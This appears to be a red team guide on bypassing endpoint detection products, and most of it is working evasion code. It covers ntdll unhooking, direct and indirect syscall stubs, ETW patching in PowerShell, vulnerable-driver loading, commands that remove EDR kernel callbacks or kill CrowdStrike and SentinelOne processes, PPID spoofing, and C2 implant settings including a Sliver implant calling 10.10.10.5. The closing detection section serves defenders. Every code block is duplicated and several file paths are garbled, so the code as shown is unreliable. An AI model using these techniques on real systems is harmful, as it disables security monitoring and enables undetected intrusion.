EDR Bypass Techniques

Modern EDR products (Defender for Endpoint, CrowdStrike Falcon, SentinelOne, Carbon Black) use userland hooks, kernel callbacks, ETW telemetry, and machine learning to detect threats. This guide covers systematic approaches to understanding and bypassing each detection layer during authorized red team engagements.

Danger

EDR bypass techniques should only be used during authorized red team engagements with explicit scope approval. Some techniques (BYOVD, kernel driver installation) can cause system instability or BSODs.

🎯 Why EDR Bypass Knowledge Is Essential

  • EDR Is the New Perimeter: With most orgs running next-gen EDR, the ability to operate around it determines engagement success.
  • Realistic Testing: If you can't bypass EDR, you can't test the organization's actual defenses — you're only testing the EDR vendor.
  • Continuous Arms Race: EDR vendors update detection weekly. Understanding the architecture (not just point bypasses) ensures adaptability.
  • Report Value: Demonstrating EDR bypass provides the most impactful finding for mature organizations.

EDR Detection Layers

Layer Mechanism What It Detects Bypass Approach
Userland Hooks ntdll.dll function hooking (inline JMP) API calls: NtAllocateVirtualMemory, NtWriteProcessMemory, etc. Direct syscalls, unhooking, fresh ntdll copy
Kernel Callbacks PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks Process creation, thread injection, handle operations BYOVD, callback removal, indirect execution
ETW Providers Microsoft-Windows-Threat-Intelligence, .NET CLR .NET assembly loads, AMSI scans, memory operations ETW patching, provider disablement
ML / Behavioral Cloud-side analytics, behavioral patterns Anomalous process trees, known attack chains PPID spoofing, sleep masking, living-off-the-land
Static Analysis Signature scanning, YARA rules, import analysis Known tool signatures, suspicious imports Obfuscation, custom tooling, reflective loading

Per-EDR Analysis

Microsoft Defender for Endpoint

Hooks: ntdll via InstrumentationCallback. Kernel: WdFilter.sys minifilter. Heavy ETW reliance (TI provider). Cloud ML for behavioral detection.

Key: Disable ETW TI provider + AMSI patch + sleep obfuscation

CrowdStrike Falcon

Hooks: Heavy ntdll hooking of key functions. Kernel: csagent.sys with kernel callbacks + minifilter. Strong behavioral engine. Tamper protection.

Key: Direct syscalls essential. Avoid common injection patterns. Custom loaders.

SentinelOne

Hooks: Inline hooks on ntdll + kernel32. Kernel: SentinelMonitor.sys. ML-heavy with autonomous response. Can roll back ransomware.

Key: Fresh ntdll loading + indirect syscalls + memory encryption

Carbon Black (VMware)

Hooks: API hooks + driver-level monitoring. Strong on process tree analysis. Script block logging integration.

Key: Avoid suspicious parent-child relationships. Use COM/WMI for execution.

Testing Methodology

powershell
# Step 1: Identify the EDR product
# Process enumeration
Get-Process | Where-Object { $_.Company -match 
  'CrowdStrike|SentinelOne|Carbon Black|Symantec|McAfee|Trend|Palo|Cylance' }

# Service enumeration
Get-Service | Where-Object { $_.DisplayName -match 
  'Falcon|Sentinel|Carbon|Defender|Cortex|Cylance' }

# Driver enumeration — shows kernel-level protection
fltMC.exe  # Lists minifilter drivers
driverquery /v | findstr /i "crowd sentinel carbon defender"

# Step 2: Check hook status on ntdll
# Dump ntdll to check for inline hooks
# SyscallDumper — enumerate hooked functions
SyscallDumper.exe

# Step 3: Test detection boundaries
# Start with benign indicators and escalate:
# Level 1: x64 calc shellcode (signatured, no evasion)
# Level 2: Custom shellcode with encrypted strings
# Level 3: Direct syscalls + custom loader
# Level 4: Full evasion chain (sleep mask + unhook + syscalls)
# Step 1: Identify the EDR product
# Process enumeration
Get-Process | Where-Object { $_.Company -match 
  'CrowdStrike|SentinelOne|Carbon Black|Symantec|McAfee|Trend|Palo|Cylance' }

# Service enumeration
Get-Service | Where-Object { $_.DisplayName -match 
  'Falcon|Sentinel|Carbon|Defender|Cortex|Cylance' }

# Driver enumeration — shows kernel-level protection
fltMC.exe  # Lists minifilter drivers
driverquery /v | findstr /i "crowd sentinel carbon defender"

# Step 2: Check hook status on ntdll
# Dump ntdll to check for inline hooks
# SyscallDumper — enumerate hooked functions
SyscallDumper.exe

# Step 3: Test detection boundaries
# Start with benign indicators and escalate:
# Level 1: x64 calc shellcode (signatured, no evasion)
# Level 2: Custom shellcode with encrypted strings
# Level 3: Direct syscalls + custom loader
# Level 4: Full evasion chain (sleep mask + unhook + syscalls)

Userland Unhooking

EDR hooks work by modifying the first bytes of ntdll.dll functions (inline hooking) to redirect execution to EDR inspection code. Unhooking restores the original function bytes, removing the EDR's visibility.

c
// Method 1: Fresh ntdll from disk
// Read clean ntdll.dll from disk and overwrite the .text section of the loaded copy
HANDLE hFile = CreateFileA("C:\Windows\System32\
tdll.dll", 
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
// Map the clean file, find .text section, copy over hooked ntdll in memory
// This removes ALL hooks in one operation

// Method 2: Fresh ntdll from KnownDlls
// Open \KnownDlls\
tdll.dll section object — guaranteed clean copy
HANDLE hSection;
UNICODE_STRING objName;
RtlInitUnicodeString(&objName, L"\KnownDlls\
tdll.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ, &objAttr);

// Method 3: Fresh ntdll from suspended process
// Spawn a suspended notepad.exe, read its clean ntdll, unhook ours
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL, 
  FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Read ntdll .text section from pi.hProcess
// Overwrite our hooked ntdll .text section
TerminateProcess(pi.hProcess, 0);
// Method 1: Fresh ntdll from disk
// Read clean ntdll.dll from disk and overwrite the .text section of the loaded copy
HANDLE hFile = CreateFileA("C:\Windows\System32\
tdll.dll", 
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
// Map the clean file, find .text section, copy over hooked ntdll in memory
// This removes ALL hooks in one operation

// Method 2: Fresh ntdll from KnownDlls
// Open \KnownDlls\
tdll.dll section object — guaranteed clean copy
HANDLE hSection;
UNICODE_STRING objName;
RtlInitUnicodeString(&objName, L"\KnownDlls\
tdll.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ, &objAttr);

// Method 3: Fresh ntdll from suspended process
// Spawn a suspended notepad.exe, read its clean ntdll, unhook ours
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL, 
  FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Read ntdll .text section from pi.hProcess
// Overwrite our hooked ntdll .text section
TerminateProcess(pi.hProcess, 0);
powershell
# PowerShell unhooking (using reflection)
# Warning: AMSI must be bypassed first or this will be caught
$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Parse PE headers, find .text section, overwrite in memory

# BokuLoader / NimlineWhispers — automated unhooking during C2 loading
# These are integrated into modern C2 implants (Sliver, Havoc)
# PowerShell unhooking (using reflection)
# Warning: AMSI must be bypassed first or this will be caught
$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Parse PE headers, find .text section, overwrite in memory

# BokuLoader / NimlineWhispers — automated unhooking during C2 loading
# These are integrated into modern C2 implants (Sliver, Havoc)

Direct & Indirect Syscalls

Instead of unhooking, bypass the hooks entirely by making syscalls directly. Direct syscalls execute the syscall instruction from your code; indirect syscalls jump into the middle of the real ntdll function (after the hook) or use the syscall stub from ntdll itself.

Approach Tool / Framework How It Works
Direct Syscall SysWhispers3 Generate syscall stubs at compile time. syscall instruction executes from your binary — bypasses all userland hooks but detectable via call stack analysis.
Indirect Syscall HellsGate / HalosGate Resolve syscall numbers at runtime by walking ntdll exports. Jump to the syscall instruction inside ntdll itself, so the call stack looks legitimate.
Hooked Recovery TartarusGate If the target function is hooked (JMP instead of mov r10, rcx), search neighboring Nt* stubs for clean syscall numbers and calculate the target by offset.
Trampoline RecycledGate Use any unhooked Nt* function's syscall stub as a trampoline — no need to find the specific function's stub.
c
// Direct syscall stub (x64 MASM) — generated by SysWhispers3
// python3 syswhispers.py -a x64 -l masm -f NtAllocateVirtualMemory,NtProtectVirtualMemory

.code
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, 18h          ; SSN for NtAllocateVirtualMemory (version-specific)
    syscall
    ret
NtAllocateVirtualMemory ENDP

// Indirect syscall variant — jump to syscall inside ntdll
NtAllocateVirtualMemory_Indirect PROC
    mov r10, rcx
    mov eax, 18h
    jmp qword ptr [syscallAddr]  ; Points into ntdll's .text section
NtAllocateVirtualMemory_Indirect ENDP

// HalosGate — runtime syscall number resolution (C pseudocode)
DWORD GetSSN(LPCSTR funcName) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    BYTE* func = (BYTE*)GetProcAddress(ntdll, funcName);
    
    // Check if function is hooked (first bytes should be: mov r10, rcx; mov eax, SSN)
    if (func[0] == 0x4c && func[1] == 0x8b && func[2] == 0xd1) {
        return *(DWORD*)(func + 4);  // Clean — read SSN directly
    }
    
    // Hooked — search neighboring stubs (HalosGate technique)
    for (int i = 1; i < 500; i++) {
        // Check function above
        if (*(func - i*32) == 0x4c && *(func - i*32 + 1) == 0x8b) {
            return *(DWORD*)(func - i*32 + 4) + i;  // SSN = neighbor + offset
        }
        // Check function below
        if (*(func + i*32) == 0x4c && *(func + i*32 + 1) == 0x8b) {
            return *(DWORD*)(func + i*32 + 4) - i;
        }
    }
    return 0;
}
// Direct syscall stub (x64 MASM) — generated by SysWhispers3
// python3 syswhispers.py -a x64 -l masm -f NtAllocateVirtualMemory,NtProtectVirtualMemory

.code
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, 18h          ; SSN for NtAllocateVirtualMemory (version-specific)
    syscall
    ret
NtAllocateVirtualMemory ENDP

// Indirect syscall variant — jump to syscall inside ntdll
NtAllocateVirtualMemory_Indirect PROC
    mov r10, rcx
    mov eax, 18h
    jmp qword ptr [syscallAddr]  ; Points into ntdll's .text section
NtAllocateVirtualMemory_Indirect ENDP

// HalosGate — runtime syscall number resolution (C pseudocode)
DWORD GetSSN(LPCSTR funcName) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    BYTE* func = (BYTE*)GetProcAddress(ntdll, funcName);
    
    // Check if function is hooked (first bytes should be: mov r10, rcx; mov eax, SSN)
    if (func[0] == 0x4c && func[1] == 0x8b && func[2] == 0xd1) {
        return *(DWORD*)(func + 4);  // Clean — read SSN directly
    }
    
    // Hooked — search neighboring stubs (HalosGate technique)
    for (int i = 1; i < 500; i++) {
        // Check function above
        if (*(func - i*32) == 0x4c && *(func - i*32 + 1) == 0x8b) {
            return *(DWORD*)(func - i*32 + 4) + i;  // SSN = neighbor + offset
        }
        // Check function below
        if (*(func + i*32) == 0x4c && *(func + i*32 + 1) == 0x8b) {
            return *(DWORD*)(func + i*32 + 4) - i;
        }
    }
    return 0;
}

BYOVD (Bring Your Own Vulnerable Driver)

BYOVD loads a legitimately signed but vulnerable kernel driver to gain kernel-level code execution. From the kernel, you can remove EDR kernel callbacks, disable drivers, and operate with zero userland visibility.

Vulnerable Driver CVE / Capability Use Case
dbutil_2_3.sys CVE-2021-21551 — arbitrary kernel R/W Dell firmware utility, used by EDRSandBlast
gdrv.sys Arbitrary kernel R/W GIGABYTE driver, used by KDU
procexp152.sys Kill any process Process Explorer driver, used by Backstab
amsdk.sys Arbitrary kernel R/W Zemana AntiMalware driver
iqvw64e.sys Arbitrary kernel R/W Intel Network Adapter Diagnostic Driver

Full driver list at loldrivers.io. Tools: EDRSandBlast (automated callback removal), KDU (multi-driver support), Backstab (kill protected EDR processes via procexp driver).

powershell
# Load a vulnerable driver
sc create VulnDrv type= kernel binPath= C:\Temp\dbutil_2_3.sys
sc start VulnDrv

# EDRSandBlast — full EDR neutralization
# Loads vuln driver, removes kernel callbacks, patches ETW TI
EDRSandBlast.exe --usermode --kernelmode

# Backstab — kill EDR process via Process Explorer driver
Backstab.exe -n CrowdStrike.exe -k
Backstab.exe -n SentinelAgent.exe -k

# KDU — versatile kernel driver utility
# Supports 30+ vulnerable drivers
KDU.exe -prv 1 -map payload.sys
# Load a vulnerable driver
sc create VulnDrv type= kernel binPath= C:\Temp\dbutil_2_3.sys
sc start VulnDrv

# EDRSandBlast — full EDR neutralization
# Loads vuln driver, removes kernel callbacks, patches ETW TI
EDRSandBlast.exe --usermode --kernelmode

# Backstab — kill EDR process via Process Explorer driver
Backstab.exe -n CrowdStrike.exe -k
Backstab.exe -n SentinelAgent.exe -k

# KDU — versatile kernel driver utility
# Supports 30+ vulnerable drivers
KDU.exe -prv 1 -map payload.sys

Danger

BSOD Risk: Kernel-level operations can crash the system. BYOVD should only be used against lab-validated targets. Some BYOVD attacks are now blocked by Vulnerable Driver Block List (WDAC).

ETW Blinding

ETW (Event Tracing for Windows) is a primary telemetry source for EDR. Key providers to blind: Microsoft-Windows-Threat-Intelligence (kernel-level, requires BYOVD — tracks memory allocations, unbacked code execution) and .NET CLR ETW (userland, patchable — tracks assembly loading). The technique patches EtwEventWrite in ntdll to return immediately, similar to AMSI bypass.

powershell
# Patch EtwEventWrite to disable ETW telemetry
# Overwrite prologue with: xor rax, rax; ret (0x48 0x33 0xC0 0xC3)

$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    (([System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Win32.UnsafeNativeMethods')).
    GetType('Win32')).GetModules()[0])

$etwAddr = [Win32]::GetProcAddress($ntdll, 'EtwEventWrite')
$oldProtect = 0
[Win32]::VirtualProtect($etwAddr, [uint32]4, 0x40, [ref]$oldProtect)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 0, 0x48)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 1, 0x33)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 2, 0xC0)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 3, 0xC3)
[Win32]::VirtualProtect($etwAddr, [uint32]4, $oldProtect, [ref]$oldProtect)

# Verify ETW is disabled
logman query -ets | findstr -i "threat defender"

# For Cobalt Strike: use InlineExecute-Assembly BOF
# Patches ETW before loading .NET assemblies in-process
# Patch EtwEventWrite to disable ETW telemetry
# Overwrite prologue with: xor rax, rax; ret (0x48 0x33 0xC0 0xC3)

$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    (([System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Win32.UnsafeNativeMethods')).
    GetType('Win32')).GetModules()[0])

$etwAddr = [Win32]::GetProcAddress($ntdll, 'EtwEventWrite')
$oldProtect = 0
[Win32]::VirtualProtect($etwAddr, [uint32]4, 0x40, [ref]$oldProtect)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 0, 0x48)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 1, 0x33)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 2, 0xC0)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 3, 0xC3)
[Win32]::VirtualProtect($etwAddr, [uint32]4, $oldProtect, [ref]$oldProtect)

# Verify ETW is disabled
logman query -ets | findstr -i "threat defender"

# For Cobalt Strike: use InlineExecute-Assembly BOF
# Patches ETW before loading .NET assemblies in-process

Kernel Callback Removal

EDR products register kernel callbacks to monitor process creation (PsSetCreateProcessNotifyRoutine), thread creation (PsSetCreateThreadNotifyRoutine), image/DLL loading (PsSetLoadImageNotifyRoutine), handle operations (ObRegisterCallbacks), registry (CmRegisterCallbackEx), and filesystem events (minifilter FltRegisterFilter). Removing these callbacks with a BYOVD driver blinds the EDR while its process continues running. Note: most EDR products have tamper protection that detects their own callback removal.

powershell
# EDRSandBlast — enumerate all registered kernel callbacks
EDRSandBlast.exe --kernelmode --enum

# Remove all EDR-registered kernel callbacks
EDRSandBlast.exe --kernelmode --remove-all

# Targeted: remove only CrowdStrike callbacks
EDRSandBlast.exe --kernelmode --remove-driver csagent.sys

# Combine with usermode patches for full EDR neutralization
EDRSandBlast.exe --usermode --kernelmode

# Verify callback removal — check if EDR minifilter is still active
fltMC.exe instances
fltMC.exe filters
# EDRSandBlast — enumerate all registered kernel callbacks
EDRSandBlast.exe --kernelmode --enum

# Remove all EDR-registered kernel callbacks
EDRSandBlast.exe --kernelmode --remove-all

# Targeted: remove only CrowdStrike callbacks
EDRSandBlast.exe --kernelmode --remove-driver csagent.sys

# Combine with usermode patches for full EDR neutralization
EDRSandBlast.exe --usermode --kernelmode

# Verify callback removal — check if EDR minifilter is still active
fltMC.exe instances
fltMC.exe filters

Sleep Obfuscation (Sleep Masking)

When an implant sleeps (beacon interval), its code sits in memory where EDR scanners can detect known C2 patterns. Sleep obfuscation encrypts the beacon in memory during sleep and decrypts it when the callback timer fires.

Technique Mechanism Framework Support
Ekko Uses CreateTimerQueueTimer + NtContinue to mark memory RW, encrypt with RC4/AES, sleep, decrypt on wake, restore RX permissions. Havoc (built-in), custom
Foliage APC-based sleep with encryption — queues APCs to handle memory permission and crypto operations. Custom implementations
DeathSleep Releases all RX memory during sleep — no detectable executable regions remain. Most evasive. Custom implementations
Call Stack Spoofing Fakes the sleeping thread's call stack to point to kernel32/ntdll. Defeats stack-based memory scanning. Cobalt Strike (ThreadStackSpoofer), custom
c
// Cobalt Strike — Malleable C2 sleep mask configuration
set sleep_mask "true";
set sleep_mask_deobfuscate "true";
set sleep_time "60000";
set jitter "37";

// Cobalt Strike — call stack spoofing
set spawnto_x64 "%windir%\sysnative\dllhost.exe";
set spawnto_x86 "%windir%\syswow64\dllhost.exe";

// Sliver — sleep obfuscation via implant config
generate --mtls 10.10.10.5 --os windows --arch amd64 \
  --evasion --skip-symbols

// Havoc — Ekko-style sleep masking is enabled by default
// Configure via Demon builder options:
// Demon { Sleep = "Ekko"; Injection { Alloc = "Native/Syscall"; } }

// Manual Ekko implementation (C/C++):
// 1. Create timer queue
HANDLE hTimerQueue = CreateTimerQueue();
// 2. Queue timer that fires ROP chain to:
//    a. VirtualProtect(beacon, size, PAGE_READWRITE, &old)
//    b. SystemFunction032(beacon_data, &key)  // RC4 encrypt
//    c. WaitForSingleObject(hEvent, sleep_ms)
//    d. SystemFunction032(beacon_data, &key)  // RC4 decrypt
//    e. VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
CreateTimerQueueTimer(&hTimer, hTimerQueue, ropGadget, ctx, 0, 0, 0);
// Cobalt Strike — Malleable C2 sleep mask configuration
set sleep_mask "true";
set sleep_mask_deobfuscate "true";
set sleep_time "60000";
set jitter "37";

// Cobalt Strike — call stack spoofing
set spawnto_x64 "%windir%\sysnative\dllhost.exe";
set spawnto_x86 "%windir%\syswow64\dllhost.exe";

// Sliver — sleep obfuscation via implant config
generate --mtls 10.10.10.5 --os windows --arch amd64 \
  --evasion --skip-symbols

// Havoc — Ekko-style sleep masking is enabled by default
// Configure via Demon builder options:
// Demon { Sleep = "Ekko"; Injection { Alloc = "Native/Syscall"; } }

// Manual Ekko implementation (C/C++):
// 1. Create timer queue
HANDLE hTimerQueue = CreateTimerQueue();
// 2. Queue timer that fires ROP chain to:
//    a. VirtualProtect(beacon, size, PAGE_READWRITE, &old)
//    b. SystemFunction032(beacon_data, &key)  // RC4 encrypt
//    c. WaitForSingleObject(hEvent, sleep_ms)
//    d. SystemFunction032(beacon_data, &key)  // RC4 decrypt
//    e. VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
CreateTimerQueueTimer(&hTimer, hTimerQueue, ropGadget, ctx, 0, 0, 0);

PPID Spoofing & Process Attributes

c
// PPID Spoofing — fake the parent process of your implant
// Makes malware appear to be spawned by a legitimate process

// Using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
STARTUPINFOEX si;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);

SIZE_T size;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
  GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

// Set svchost.exe as parent
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
  PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL,
  FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
  &si.StartupInfo, &pi);
// notepad.exe appears as child of svchost.exe
// PPID Spoofing — fake the parent process of your implant
// Makes malware appear to be spawned by a legitimate process

// Using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
STARTUPINFOEX si;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);

SIZE_T size;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
  GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

// Set svchost.exe as parent
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
  PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL,
  FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
  &si.StartupInfo, &pi);
// notepad.exe appears as child of svchost.exe

OPSEC Tips

Avoid Fork & Run

Use inline execution (BOFs) instead of spawning sacrificial processes — every new process is a detection opportunity.

Use Legitimate Parent Processes

Spawn from expected parents (explorer.exe for user processes, svchost for services) to avoid process tree anomalies.

Encrypt Everything in Memory

Never leave shellcode, strings, or C2 configs in plaintext memory — use sleep masking + string encryption.

Blend C2 Traffic

Use malleable C2 profiles that mimic legitimate traffic patterns. Jitter your beacon intervals randomly.

Detection & Blue Team

Source Detection
Sysmon Event 10 Cross-process access to LSASS or ntdll.dll with suspicious GrantedAccess masks
Sysmon Event 7 Unsigned or known-vulnerable driver loaded (BYOVD detection)
ETW Gaps Missing telemetry from EtwEventWrite patching — correlate expected vs. actual event volume
Kernel Callbacks Monitor callback registration changes; alert on PsSetCreateProcessNotifyRoutine removal
Memory Scanners Periodic unbacked executable memory scans; detect RWX → RX transitions (sleep masking artifacts)
Call Stack Analysis Unbacked return addresses in system call stacks indicate direct/indirect syscall usage
text
// KQL — Detect BYOVD (vulnerable driver loading)
DeviceEvents
| where ActionType == "DriverLoad"
| where SHA256 in (known_vulnerable_driver_hashes)
| project Timestamp, DeviceName, FileName, SHA256, FolderPath

// KQL — Detect direct syscalls via unbacked call stacks
DeviceEvents
| where ActionType == "NtAllocateVirtualMemory"
| where InitiatingProcessFileName !in ("svchost.exe","services.exe")
| where AdditionalFields has "Unbacked"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName
// KQL — Detect BYOVD (vulnerable driver loading)
DeviceEvents
| where ActionType == "DriverLoad"
| where SHA256 in (known_vulnerable_driver_hashes)
| project Timestamp, DeviceName, FileName, SHA256, FolderPath

// KQL — Detect direct syscalls via unbacked call stacks
DeviceEvents
| where ActionType == "NtAllocateVirtualMemory"
| where InitiatingProcessFileName !in ("svchost.exe","services.exe")
| where AdditionalFields has "Unbacked"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName